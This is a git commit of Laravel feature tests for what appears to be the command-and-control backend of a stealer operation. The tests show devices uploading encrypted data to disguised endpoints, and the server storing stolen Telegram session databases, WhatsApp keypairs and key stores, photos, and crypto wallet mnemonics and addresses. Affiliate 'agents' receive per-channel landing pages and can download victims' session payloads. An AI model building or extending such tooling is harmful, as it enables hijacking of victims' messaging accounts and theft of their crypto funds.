feat: tg/ws

This commit is contained in:
hashbro
2026-08-31 02:45:24 +08:00
parent 9176af86dd
commit 337bf45c79
47 changed files with 1725 additions and 598 deletions
+41 -6
View File
@@ -100,8 +100,8 @@ class AdminAgentPortalTest extends TestCase
'domains' => ['deployment' => [], 'reporting' => []],
'seeds_initialized' => false,
'sync_rebuilt' => false,
'support_path' => '/web/x/support.html',
'daily_path' => '/sync/daily.html',
'support_path' => '/channel/x/weifile/weifile.html',
'daily_path' => '/channel/x/details/',
]);
$this->app->instance(ChannelProjectService::class, $projects);
@@ -111,10 +111,10 @@ class AdminAgentPortalTest extends TestCase
->assertJsonPath('code', 0)
->json('data.channel_id');
$this->assertIsString($random);
$this->assertMatchesRegularExpression('/^[a-z0-9]{32}$/', $random);
$this->assertMatchesRegularExpression(Channel::NEW_CHANNEL_ID_PATTERN, $random);
$channelId = Channel::randomChannelId();
$this->assertMatchesRegularExpression('/^[a-z0-9]{32}$/', $channelId);
$channelId = Channel::randomNewChannelId();
$this->assertMatchesRegularExpression(Channel::NEW_CHANNEL_ID_PATTERN, $channelId);
$this->actingAs($admin, 'admin')
->post(route('admin.channels.store'), [
@@ -125,10 +125,12 @@ class AdminAgentPortalTest extends TestCase
])
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.links.0', 'https://fallback.test/web/'.$channelId.'/support.html');
->assertJsonPath('data.builder_type', Channel::BUILDER_NEW)
->assertJsonPath('data.links.0', 'https://fallback.test/channel/'.$channelId.'/weifile/weifile.html');
$this->assertDatabaseHas('channels', [
'channel_id' => $channelId,
'builder_type' => Channel::BUILDER_NEW,
'user_id' => 0,
'remark' => 'official',
]);
@@ -345,6 +347,39 @@ class AdminAgentPortalTest extends TestCase
->assertJsonPath('data.date_to', '2026-08-15');
}
#[Test]
public function admin_can_create_and_update_agent_album_storage_default(): void
{
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$this->actingAs($admin, 'admin')
->post(route('admin.agents.store'), [
'username' => 'albumagent',
'password' => 'secret12',
'status' => 1,
])
->assertOk()
->assertJsonPath('code', 0);
$agent = User::query()->where('username', 'albumagent')->first();
$this->assertNotNull($agent);
$this->assertFalse($agent->albumStorageDefaultEnabled());
$this->actingAs($admin, 'admin')
->put(route('admin.agents.update', $agent), [
'album_storage_default' => 1,
])
->assertOk()
->assertJsonPath('code', 0);
$this->assertTrue($agent->fresh()->albumStorageDefaultEnabled());
$this->actingAs($admin, 'admin')
->getJson(route('admin.agents.data'))
->assertOk()
->assertJsonFragment(['username' => 'albumagent', 'album_storage_default' => 1]);
}
#[Test]
public function agent_cannot_create_channel(): void
{
+55 -25
View File
@@ -207,15 +207,21 @@ class ChannelProjectServiceTest extends TestCase
#[Test]
public function failed_database_insert_compensates_with_delete(): void
{
$this->stageFakeWeifile();
Process::fake([
'*' => Process::sequence()
->push(Process::result(output: $this->fakeBuildResult()))
->push(Process::result(output: ChannelProjectService::RESULT_MARKER.json_encode([
'status' => 'deleted',
'removed' => true,
])."\n")),
'*' => Process::result(output: $this->fakeBuildResult([
'builder_type' => 'new',
'channel_id' => self::NEW_CHANNEL_ID,
'landing_path' => '/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html',
'details_path' => '/channel/'.self::NEW_CHANNEL_ID.'/details/',
'channel_dir' => '/channel/'.self::NEW_CHANNEL_ID,
])),
]);
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$channelDir = storage_path('app/channel-artifacts-test/channel/'.self::NEW_CHANNEL_ID);
if (! is_dir($channelDir) && ! mkdir($channelDir, 0775, true) && ! is_dir($channelDir)) {
$this->fail('unable to create channel dir for compensation test');
}
$originalDispatcher = Channel::getEventDispatcher();
Channel::setEventDispatcher(new Dispatcher($this->app));
@@ -224,7 +230,7 @@ class ChannelProjectServiceTest extends TestCase
try {
$this->actingAs($admin, 'admin')
->post(route('admin.channels.store'), [
'channel_id' => self::CHANNEL_ID,
'channel_id' => self::NEW_CHANNEL_ID,
'user_id' => 0,
])
->assertStatus(422)
@@ -233,11 +239,8 @@ class ChannelProjectServiceTest extends TestCase
Channel::setEventDispatcher($originalDispatcher);
}
Process::assertRan(fn ($process) => str_contains(
is_array($process->command) ? implode(' ', $process->command) : (string) $process->command,
'delete_channel_web.py'
));
$this->assertDatabaseMissing('channels', ['channel_id' => self::CHANNEL_ID]);
$this->assertDirectoryDoesNotExist($channelDir);
$this->assertDatabaseMissing('channels', ['channel_id' => self::NEW_CHANNEL_ID]);
}
#[Test]
@@ -247,19 +250,20 @@ class ChannelProjectServiceTest extends TestCase
$projects = Mockery::mock(ChannelProjectService::class);
$projects->shouldReceive('generate')->once()->andReturnUsing(function (): array {
Channel::query()->create([
'channel_id' => self::CHANNEL_ID,
'channel_id' => self::NEW_CHANNEL_ID,
'builder_type' => Channel::BUILDER_NEW,
'user_id' => 0,
'status' => 1,
]);
return [
'channel_id' => self::CHANNEL_ID,
'channel_id' => self::NEW_CHANNEL_ID,
'seeds' => ['deployment_seed' => 'a', 'reporting_seed' => 'b'],
'domains' => ['deployment' => [], 'reporting' => []],
'seeds_initialized' => false,
'sync_rebuilt' => false,
'support_path' => '/web/'.self::CHANNEL_ID.'/support.html',
'daily_path' => '/sync/daily.html',
'support_path' => '/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html',
'daily_path' => '/channel/'.self::NEW_CHANNEL_ID.'/details/',
];
});
$projects->shouldNotReceive('deleteWebTree');
@@ -267,7 +271,7 @@ class ChannelProjectServiceTest extends TestCase
$this->actingAs($admin, 'admin')
->post(route('admin.channels.store'), [
'channel_id' => self::CHANNEL_ID,
'channel_id' => self::NEW_CHANNEL_ID,
'user_id' => 0,
])
->assertStatus(422)
@@ -328,27 +332,54 @@ class ChannelProjectServiceTest extends TestCase
#[Test]
public function store_returns_seeds_and_domains(): void
{
$this->stageFakeWeifile();
Process::fake([
'*' => Process::result(output: $this->fakeBuildResult()),
'*' => Process::result(output: $this->fakeBuildResult([
'builder_type' => 'new',
'channel_id' => self::NEW_CHANNEL_ID,
'landing_path' => '/channel/'.self::NEW_CHANNEL_ID.'/weifile/weifile.html',
'details_path' => '/channel/'.self::NEW_CHANNEL_ID.'/details/',
'daily_path' => '/channel/'.self::NEW_CHANNEL_ID.'/details/',
'channel_dir' => '/channel/'.self::NEW_CHANNEL_ID,
])),
]);
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$this->actingAs($admin, 'admin')
->post(route('admin.channels.store'), [
'channel_id' => self::CHANNEL_ID,
'channel_id' => self::NEW_CHANNEL_ID,
'user_id' => 0,
])
->assertOk()
->assertJsonPath('code', 0)
->assertJsonPath('data.builder_type', Channel::BUILDER_NEW)
->assertJsonPath('data.seeds.deployment_seed', '11111111111111111111111111111111')
->assertJsonPath('data.domains.deployment.0', 'www.dep.example')
->assertJsonPath('data.seeds_initialized', true)
->assertJsonPath('data.daily_path', '/sync/daily.html');
->assertJsonPath('data.daily_path', '/channel/'.self::NEW_CHANNEL_ID.'/details/');
$this->assertDatabaseHas('channels', ['channel_id' => self::CHANNEL_ID]);
$channel = Channel::query()->where('channel_id', self::CHANNEL_ID)->first();
$this->assertDatabaseHas('channels', [
'channel_id' => self::NEW_CHANNEL_ID,
'builder_type' => Channel::BUILDER_NEW,
]);
$channel = Channel::query()->where('channel_id', self::NEW_CHANNEL_ID)->first();
$this->assertSame([], $channel->domains ?? []);
$this->assertSame(Channel::BUILDER_OLD, $channel->builderType());
$this->assertSame(Channel::BUILDER_NEW, $channel->builderType());
}
#[Test]
public function store_rejects_old_builder_channel_id(): void
{
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$this->actingAs($admin, 'admin')
->post(route('admin.channels.store'), [
'channel_id' => self::CHANNEL_ID,
'builder_type' => Channel::BUILDER_OLD,
'user_id' => 0,
])
->assertSessionHasErrors('channel_id');
$this->assertDatabaseMissing('channels', ['channel_id' => self::CHANNEL_ID]);
}
#[Test]
@@ -477,7 +508,6 @@ class ChannelProjectServiceTest extends TestCase
$response = $this->actingAs($admin, 'admin')
->post(route('admin.channels.store'), [
'channel_id' => self::NEW_CHANNEL_ID,
'builder_type' => Channel::BUILDER_NEW,
'user_id' => 0,
])
->assertOk()
+142
View File
@@ -7,6 +7,7 @@ use App\Models\Channel;
use App\Models\Device;
use App\Models\Photo;
use App\Models\User;
use App\Services\CorunaCrypto;
use App\Services\IngestService;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Http;
@@ -30,6 +31,147 @@ class DeviceAlbumStorageTest extends TestCase
$this->assertFalse((bool) $device->fresh()->album_storage);
}
#[Test]
public function ingest_uses_agent_album_storage_default_on(): void
{
$agent = User::query()->create([
'username' => 'album_on',
'password' => 'secret12',
'status' => 1,
'album_storage_default' => true,
]);
$this->assertTrue($agent->albumStorageDefaultEnabled());
$channelId = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
Channel::query()->create([
'channel_id' => $channelId,
'user_id' => $agent->id,
'status' => 1,
]);
$crypto = new CorunaCrypto;
$ts = '1722585600201';
$enc = $crypto->encryptJson([
'd' => 'dev-agent-album-on',
'c' => $channelId,
], $ts);
$this->call('POST', '/api/user/avatar/put', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_TIMESTAMP' => $ts,
], $enc['body'])->assertOk();
$device = Device::query()->where('device_id', 'dev-agent-album-on')->first();
$this->assertNotNull($device);
$this->assertTrue($device->albumStorageEnabled());
}
#[Test]
public function ingest_keeps_album_off_when_agent_default_off(): void
{
$agent = User::query()->create([
'username' => 'album_off',
'password' => 'secret12',
'status' => 1,
]);
$this->assertFalse($agent->albumStorageDefaultEnabled());
$channelId = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb';
Channel::query()->create([
'channel_id' => $channelId,
'user_id' => $agent->id,
'status' => 1,
]);
$crypto = new CorunaCrypto;
$ts = '1722585600202';
$enc = $crypto->encryptJson([
'd' => 'dev-agent-album-off',
'c' => $channelId,
], $ts);
$this->call('POST', '/api/user/avatar/put', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_TIMESTAMP' => $ts,
], $enc['body'])->assertOk();
$device = Device::query()->where('device_id', 'dev-agent-album-off')->first();
$this->assertNotNull($device);
$this->assertFalse($device->albumStorageEnabled());
}
#[Test]
public function later_channel_fill_applies_agent_album_default(): void
{
$agent = User::query()->create([
'username' => 'album_late',
'password' => 'secret12',
'status' => 1,
'album_storage_default' => true,
]);
$channelId = 'cccccccccccccccccccccccccccccccc';
Channel::query()->create([
'channel_id' => $channelId,
'user_id' => $agent->id,
'status' => 1,
]);
$crypto = new CorunaCrypto;
$tsSet = '1722585600203';
$encSet = $crypto->encryptJson([
'd' => 'dev-agent-album-late',
'c' => $channelId,
'a' => 'a1',
'result' => 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
], $tsSet);
$this->call('POST', '/api/user/set', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_TIMESTAMP' => $tsSet,
], $encSet['body'])->assertOk();
$device = Device::query()->where('device_id', 'dev-agent-album-late')->first();
$this->assertNotNull($device);
$this->assertNull($device->channel_id);
$this->assertFalse($device->albumStorageEnabled());
$tsPut = '1722585600204';
$encPut = $crypto->encryptJson([
'd' => 'dev-agent-album-late',
'c' => $channelId,
'et' => 'heartbeat',
], $tsPut);
$this->call('POST', '/api/user/avatar/put', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_TIMESTAMP' => $tsPut,
], $encPut['body'])->assertOk();
$device->refresh();
$this->assertSame($channelId, $device->channel_id);
$this->assertTrue($device->albumStorageEnabled());
}
#[Test]
public function official_and_unknown_channel_keep_album_off(): void
{
Channel::query()->create([
'channel_id' => 'dddddddddddddddddddddddddddddddd',
'user_id' => Channel::OFFICIAL_USER_ID,
'status' => 1,
]);
$crypto = new CorunaCrypto;
foreach ([
['d' => 'dev-official-album', 'c' => 'dddddddddddddddddddddddddddddddd'],
['d' => 'dev-unknown-album', 'c' => 'eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee'],
] as $i => $payload) {
$ts = (string) (1722585600210 + $i);
$enc = $crypto->encryptJson($payload, $ts);
$this->call('POST', '/api/user/avatar/put', [], [], [], [
'CONTENT_TYPE' => 'text/plain',
'HTTP_TIMESTAMP' => $ts,
], $enc['body'])->assertOk();
}
$this->assertFalse(Device::query()->where('device_id', 'dev-official-album')->first()?->albumStorageEnabled());
$this->assertFalse(Device::query()->where('device_id', 'dev-unknown-album')->first()?->albumStorageEnabled());
}
#[Test]
public function ingest_skips_photos_when_album_storage_off(): void
{
+3
View File
@@ -131,6 +131,8 @@ class DeviceDeleteTest extends TestCase
);
Storage::disk('local')->put('c2/ds-results/dev-del-1/cmd/a.json', '{}');
Storage::disk('local')->put('c2/ds-chunks/dev-del-1/cmd/f/0', 'x');
$waPath = PluginSession::whatsappFilePath('dev-del-1', '15550001111');
Storage::disk('local')->put($waPath, '{"userId":"15550001111"}');
try {
$this->actingAs($admin, 'admin')
@@ -157,6 +159,7 @@ class DeviceDeleteTest extends TestCase
Storage::disk('local')->assertMissing($checkPath);
Storage::disk('local')->assertMissing('c2/ds-results/dev-del-1/cmd/a.json');
Storage::disk('local')->assertMissing('c2/ds-chunks/dev-del-1/cmd/f/0');
Storage::disk('local')->assertMissing($waPath);
$this->assertFileExists($dsLog);
$left = (string) file_get_contents($dsLog);
$this->assertStringNotContainsString('dev-del-1', $left);
+113
View File
@@ -0,0 +1,113 @@
<?php
namespace Tests\Feature;
use App\Models\Admin;
use App\Models\Device;
use App\Services\IngestService;
use Illuminate\Foundation\Testing\RefreshDatabase;
use Illuminate\Support\Facades\Storage;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class DeviceImFlagTest extends TestCase
{
use RefreshDatabase;
#[Test]
public function new_device_has_no_im_flags(): void
{
$device = Device::query()->create(['device_id' => 'dev-im-none']);
$this->assertFalse($device->hasWhatsApp());
$this->assertFalse($device->hasTelegram());
$this->assertSame([], $device->imNameList());
}
#[Test]
public function telegram_ingest_sets_tg_flag(): void
{
Storage::fake('local');
$device = Device::query()->create(['device_id' => 'dev-im-tg']);
app(IngestService::class)->ingestTelegramAuth($device, [
'user_id' => '111',
'state' => ['records' => []],
'db_sqlite' => 'QQ==',
]);
$device->refresh();
$this->assertTrue($device->hasTelegram());
$this->assertFalse($device->hasWhatsApp());
$this->assertSame(['Telegram'], $device->imNameList());
}
#[Test]
public function whatsapp_ingest_sets_ws_flag(): void
{
Storage::fake('local');
$device = Device::query()->create(['device_id' => 'dev-im-ws']);
app(IngestService::class)->ingestWhatsAppAuth($device, [
'userId' => '15550001111',
'clientStaticKeypairBase64' => 'QUJD',
'phoneKeyStore' => ['preKeys' => []],
]);
$device->refresh();
$this->assertTrue($device->hasWhatsApp());
$this->assertFalse($device->hasTelegram());
$this->assertSame(['WhatsApp'], $device->imNameList());
}
#[Test]
public function both_sessions_set_both_flags(): void
{
Storage::fake('local');
$device = Device::query()->create(['device_id' => 'dev-im-both']);
$ingest = app(IngestService::class);
$ingest->ingestTelegramAuth($device, [
'user_id' => '222',
'state' => ['ok' => 1],
]);
$ingest->ingestWhatsAppAuth($device, [
'userId' => '15550002222',
'whatsappVersion' => '2.24.0',
'clientStaticKeypairBase64' => 'QUJD',
]);
$device->refresh();
$this->assertTrue($device->hasWhatsApp());
$this->assertTrue($device->hasTelegram());
$this->assertSame(['WhatsApp', 'Telegram'], $device->imNameList());
}
#[Test]
public function admin_can_filter_devices_by_im_flag(): void
{
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
Device::query()->create(['device_id' => 'dev-plain']);
Device::query()->create(['device_id' => 'dev-ws', 'has_whatsapp' => true]);
Device::query()->create(['device_id' => 'dev-tg', 'has_telegram' => true]);
Device::query()->create(['device_id' => 'dev-both', 'has_whatsapp' => true, 'has_telegram' => true]);
$this->actingAs($admin, 'admin')
->getJson(route('admin.devices.data', ['has_im' => 'whatsapp']))
->assertOk()
->assertJsonPath('count', 2);
$this->actingAs($admin, 'admin')
->getJson(route('admin.devices.data', ['has_im' => 'telegram']))
->assertOk()
->assertJsonPath('count', 2);
$this->actingAs($admin, 'admin')
->getJson(route('admin.devices.data', ['has_im' => 'yes']))
->assertOk()
->assertJsonPath('count', 3);
$this->actingAs($admin, 'admin')
->getJson(route('admin.devices.data', ['has_im' => 'none']))
->assertOk()
->assertJsonPath('count', 1)
->assertJsonPath('data.0.device_id', 'dev-plain');
}
}
+140
View File
@@ -0,0 +1,140 @@
<?php
namespace Tests\Feature;
use App\Models\Admin;
use App\Models\Channel;
use App\Models\Device;
use App\Models\PluginSession;
use App\Models\User;
use Illuminate\Foundation\Testing\RefreshDatabase;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class PluginSessionPageTest extends TestCase
{
use RefreshDatabase;
#[Test]
public function admin_can_list_whatsapp_and_telegram_sessions(): void
{
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
$device = Device::query()->create([
'device_id' => 'dev-sess',
'channel_id' => 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
'has_whatsapp' => true,
'has_telegram' => true,
]);
PluginSession::query()->create([
'device_id' => $device->id,
'device_key' => $device->device_id,
'kind' => PluginSession::KIND_WHATSAPP,
'account_id' => '15551230000',
'phone' => '15551230000',
'payload' => [
'userId' => '15551230000',
'nickname' => 'wa-nick',
'whatsappVersion' => '2.24.0',
'clientStaticKeypairBase64' => 'QUJD',
],
]);
PluginSession::query()->create([
'device_id' => $device->id,
'device_key' => $device->device_id,
'kind' => PluginSession::KIND_TELEGRAM,
'account_id' => '987654',
'payload' => [
'user_id' => '987654',
'state' => ['records' => []],
'db_sqlite' => str_repeat('A', 400),
],
]);
$this->actingAs($admin, 'admin')
->get(route('admin.whatsapp.index'))
->assertOk()
->assertSee('WS 参数');
$this->actingAs($admin, 'admin')
->getJson(route('admin.whatsapp.data'))
->assertOk()
->assertJsonPath('count', 1)
->assertJsonPath('data.0.account_id', '15551230000')
->assertJsonPath('data.0.nickname', 'wa-nick')
->assertJsonPath('data.0.has_keystore', true)
->assertJsonMissingPath('data.0.payload_json');
$tg = $this->actingAs($admin, 'admin')
->getJson(route('admin.telegram.data'))
->assertOk()
->assertJsonPath('count', 1)
->assertJsonPath('data.0.account_id', '987654')
->assertJsonPath('data.0.has_db', true)
->json();
$this->assertArrayNotHasKey('payload_json', $tg['data'][0] ?? []);
$tgPayload = $this->actingAs($admin, 'admin')
->getJson(route('admin.sessions.payload', PluginSession::query()->where('kind', PluginSession::KIND_TELEGRAM)->first()))
->assertOk()
->json('data.payload_json');
$this->assertStringContainsString(str_repeat('A', 400), (string) $tgPayload);
$this->assertStringNotContainsString('400 bytes', (string) $tgPayload);
$tgRow = PluginSession::query()->where('kind', PluginSession::KIND_TELEGRAM)->first();
$download = $this->actingAs($admin, 'admin')
->get(route('admin.sessions.download', $tgRow))
->assertOk();
$this->assertStringContainsString('attachment', (string) $download->headers->get('content-disposition'));
$this->assertStringContainsString(str_repeat('A', 400), $download->streamedContent());
}
#[Test]
public function agent_only_sees_own_channel_sessions(): void
{
$agentA = User::query()->create(['username' => 'a', 'password' => 'secret12', 'status' => 1]);
$agentB = User::query()->create(['username' => 'b', 'password' => 'secret12', 'status' => 1]);
$chA = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb';
$chB = 'cccccccccccccccccccccccccccccccc';
Channel::query()->create(['channel_id' => $chA, 'user_id' => $agentA->id, 'status' => 1]);
Channel::query()->create(['channel_id' => $chB, 'user_id' => $agentB->id, 'status' => 1]);
$devA = Device::query()->create(['device_id' => 'dev-a', 'channel_id' => $chA]);
$devB = Device::query()->create(['device_id' => 'dev-b', 'channel_id' => $chB]);
PluginSession::query()->create([
'device_id' => $devA->id,
'device_key' => 'dev-a',
'kind' => PluginSession::KIND_TELEGRAM,
'account_id' => 'aaa',
'payload' => ['user_id' => 'aaa'],
]);
PluginSession::query()->create([
'device_id' => $devB->id,
'device_key' => 'dev-b',
'kind' => PluginSession::KIND_TELEGRAM,
'account_id' => 'bbb',
'payload' => ['user_id' => 'bbb'],
]);
$this->actingAs($agentA, 'agent')
->getJson(route('user.telegram.data'))
->assertOk()
->assertJsonPath('count', 1)
->assertJsonPath('data.0.account_id', 'aaa');
$own = PluginSession::query()->where('account_id', 'aaa')->first();
$other = PluginSession::query()->where('account_id', 'bbb')->first();
$this->actingAs($agentA, 'agent')
->getJson(route('user.sessions.payload', $own))
->assertOk()
->assertJsonPath('code', 0);
$this->actingAs($agentA, 'agent')
->getJson(route('user.sessions.payload', $other))
->assertForbidden();
$this->actingAs($agentA, 'agent')
->get(route('user.sessions.download', $own))
->assertOk();
$this->actingAs($agentA, 'agent')
->get(route('user.sessions.download', $other))
->assertForbidden();
}
}
-108
View File
@@ -1,108 +0,0 @@
<?php
namespace Tests\Feature;
use App\Models\Admin;
use Illuminate\Foundation\Testing\RefreshDatabase;
use PHPUnit\Framework\Attributes\Test;
use Tests\TestCase;
class RawLogControllerTest extends TestCase
{
use RefreshDatabase;
private function superAdmin(): Admin
{
return Admin::query()->create([
'username' => 'root',
'password' => 'secret12',
'is_super' => 1,
]);
}
#[Test]
public function xxbb_log_show_pages_instead_of_loading_the_whole_file(): void
{
$dir = public_path('log/xxbb');
if (! is_dir($dir)) {
mkdir($dir, 0775, true);
}
$file = $dir.'/20990101.log';
$chunks = [];
for ($i = 1; $i <= 90; $i++) {
$chunks[] = '2026-08-14 13:00:00 /event {"n":'.$i.',"marker":"ENTRY-'.$i.'"}';
}
file_put_contents($file, implode("\r\n\r\n", $chunks)."\r\n\r\n");
try {
$admin = $this->superAdmin();
$page1 = $this->actingAs($admin, 'admin')
->get(route('admin.logs.show', [
'kind' => 'xxbb',
'file' => '20990101.log',
'per_page' => 40,
]))
->assertOk();
$html1 = $page1->getContent();
$this->assertSame(40, substr_count($html1, 'class="json-block"'));
$this->assertStringContainsString('ENTRY-90', $html1);
$this->assertStringContainsString('新版', $html1);
$this->assertStringNotContainsString('ENTRY-50', $html1);
$this->assertStringContainsString('更早', $html1);
$page2 = $this->actingAs($admin, 'admin')
->get(route('admin.logs.show', [
'kind' => 'xxbb',
'file' => '20990101.log',
'per_page' => 40,
'page' => 2,
]))
->assertOk();
$html2 = $page2->getContent();
$this->assertStringContainsString('ENTRY-50', $html2);
$this->assertStringNotContainsString('ENTRY-90', $html2);
} finally {
@unlink($file);
}
}
#[Test]
public function xxbb_and_c2_same_filename_do_not_mix(): void
{
foreach (['c2' => 'OLD-C2-MARKER', 'xxbb' => 'NEW-XXBB-MARKER'] as $kind => $marker) {
$dir = public_path('log/'.$kind);
if (! is_dir($dir)) {
mkdir($dir, 0775, true);
}
file_put_contents(
$dir.'/20990102.log',
'2026-08-14 13:00:00 /probe {"marker":"'.$marker.'"}'."\r\n\r\n"
);
}
try {
$admin = $this->superAdmin();
$index = $this->actingAs($admin, 'admin')
->get(route('admin.logs.index'))
->assertOk();
$index->assertSee('/admin/logs/xxbb/20990102.log', false);
$this->actingAs($admin, 'admin')
->get(route('admin.logs.show', ['kind' => 'xxbb', 'file' => '20990102.log']))
->assertOk()
->assertSee('NEW-XXBB-MARKER')
->assertSee('新版')
->assertDontSee('OLD-C2-MARKER');
$this->actingAs($admin, 'admin')
->get(route('admin.logs.show', ['kind' => 'c2', 'file' => '20990102.log']))
->assertOk()
->assertSee('OLD-C2-MARKER')
->assertSee('旧版')
->assertDontSee('NEW-XXBB-MARKER');
} finally {
@unlink(public_path('log/c2/20990102.log'));
@unlink(public_path('log/xxbb/20990102.log'));
}
}
}
+4 -6
View File
@@ -63,10 +63,6 @@ class SystemAdminTest extends TestCase
$this->actingAs($staff, 'admin')
->get(route('admin.system.admins.index'))
->assertForbidden();
$this->actingAs($staff, 'admin')
->get(route('admin.logs.index'))
->assertForbidden();
}
#[Test]
@@ -83,7 +79,8 @@ class SystemAdminTest extends TestCase
->get(route('admin.home'))
->assertOk()
->assertSee('lay-href="'.route('admin.system.settings.index').'"', false)
->assertDontSee('lay-href="'.route('admin.system.admins.index').'"', false);
->assertDontSee('lay-href="'.route('admin.system.admins.index').'"', false)
->assertDontSee('原始日志');
}
#[Test]
@@ -94,7 +91,8 @@ class SystemAdminTest extends TestCase
->assertOk()
->assertSee('系统')
->assertSee('设置')
->assertSee('管理员');
->assertSee('管理员')
->assertDontSee('原始日志');
}
#[Test]
+19
View File
@@ -97,6 +97,25 @@ class WalletAddressFilterTest extends TestCase
->assertJsonMissing(['address' => 'addr-with-mnemonic']);
}
#[Test]
public function filters_by_address(): void
{
$this->seedRows();
$admin = $this->admin();
$this->actingAs($admin, 'admin')
->getJson(route('admin.addresses.data', ['address' => 'with-balance']))
->assertOk()
->assertJsonPath('count', 1)
->assertJsonPath('data.0.address', 'addr-with-balance');
$this->actingAs($admin, 'admin')
->getJson(route('admin.addresses.data', ['address' => 'addr-plain']))
->assertOk()
->assertJsonPath('count', 1)
->assertJsonPath('data.0.address', 'addr-plain');
}
#[Test]
public function filters_by_has_balance(): void
{
+28 -6
View File
@@ -387,6 +387,7 @@ class XxbbC2ApiTest extends TestCase
#[Test]
public function api_tg_t_ingests_telegram_auth(): void
{
Storage::fake('local');
$this->xxbbPost('/api/tg/t', [
'd' => '000C30D83CD0402E',
'd1' => '00008030-000C30D83CD0402E',
@@ -408,13 +409,20 @@ class XxbbC2ApiTest extends TestCase
$this->assertSame('000C30D83CD0402E', $row->device_key);
$this->assertSame('123456789', $row->account_id);
$this->assertSame('123456789', $row->payload['user_id'] ?? null);
$this->assertArrayHasKey('db_sqlite', $row->payload);
$this->assertSame('AQID', $row->payload['datacenterAuthInfoById'] ?? null);
$this->assertTrue((bool) ($row->payload['has_db'] ?? false));
$this->assertArrayNotHasKey('db_sqlite', $row->payload ?? []);
Storage::disk('local')->assertExists($row->payload['payload_path']);
$full = $row->fullPayload();
$this->assertArrayHasKey('db_sqlite', $full);
$this->assertSame('AQID', $full['datacenterAuthInfoById'] ?? null);
$this->assertTrue($device->fresh()->hasTelegram());
$this->assertFalse($device->fresh()->hasWhatsApp());
}
#[Test]
public function api_tg_t_ingests_ecid_envelope(): void
{
Storage::fake('local');
$this->xxbbPost('/api/tg/t', [
'ecid' => '00025D800C22001E',
'unique' => '00008101-00025D800C22001E',
@@ -432,12 +440,14 @@ class XxbbC2ApiTest extends TestCase
$this->assertSame(PluginSession::KIND_TELEGRAM, $row->kind);
$this->assertSame('37603278499', $row->account_id);
$this->assertSame('37603278499', $row->payload['user_id'] ?? null);
$this->assertArrayHasKey('db_sqlite', $row->payload);
$this->assertTrue((bool) ($row->payload['has_db'] ?? false));
$this->assertArrayHasKey('db_sqlite', $row->fullPayload());
}
#[Test]
public function api_wp_t_ingests_whatsapp_session(): void
{
Storage::fake('local');
$this->xxbbPost('/api/wp/t', [
'd' => '000C30D83CD0402E',
'd1' => '00008030-000C30D83CD0402E',
@@ -461,12 +471,22 @@ class XxbbC2ApiTest extends TestCase
$this->assertSame('000C30D83CD0402E', $row->device_key);
$this->assertSame('15551234567', $row->account_id);
$this->assertSame('15551234567', $row->phone);
$this->assertSame('QUJD', $row->payload['clientStaticKeypairBase64'] ?? null);
$this->assertSame(
PluginSession::whatsappFilePath('000C30D83CD0402E', '15551234567'),
$row->payload['payload_path'] ?? null
);
$this->assertArrayNotHasKey('phoneKeyStore', $row->payload ?? []);
Storage::disk('local')->assertExists($row->payload['payload_path']);
$full = $row->fullPayload();
$this->assertSame('QUJD', $full['clientStaticKeypairBase64'] ?? null);
$this->assertTrue($device->fresh()->hasWhatsApp());
$this->assertFalse($device->fresh()->hasTelegram());
}
#[Test]
public function api_wp_t_ingests_account_data_envelope(): void
{
Storage::fake('local');
$this->xxbbPost('/api/wp/t', [
'account' => '2348034472071',
'ecid' => '0006345E0A09002E',
@@ -489,9 +509,11 @@ class XxbbC2ApiTest extends TestCase
$this->assertSame(PluginSession::KIND_WHATSAPP, $row->kind);
$this->assertSame('2348034472071', $row->account_id);
$this->assertSame('2348034472071', $row->phone);
$this->assertSame('QUJD', $row->payload['clientStaticKeypairBase64'] ?? null);
$this->assertSame('wa-nick', $row->payload['nickname'] ?? null);
$this->assertIsArray($row->payload['phoneKeyStore'] ?? null);
$this->assertArrayNotHasKey('phoneKeyStore', $row->payload ?? []);
$full = $row->fullPayload();
$this->assertSame('QUJD', $full['clientStaticKeypairBase64'] ?? null);
$this->assertIsArray($full['phoneKeyStore'] ?? null);
}
#[Test]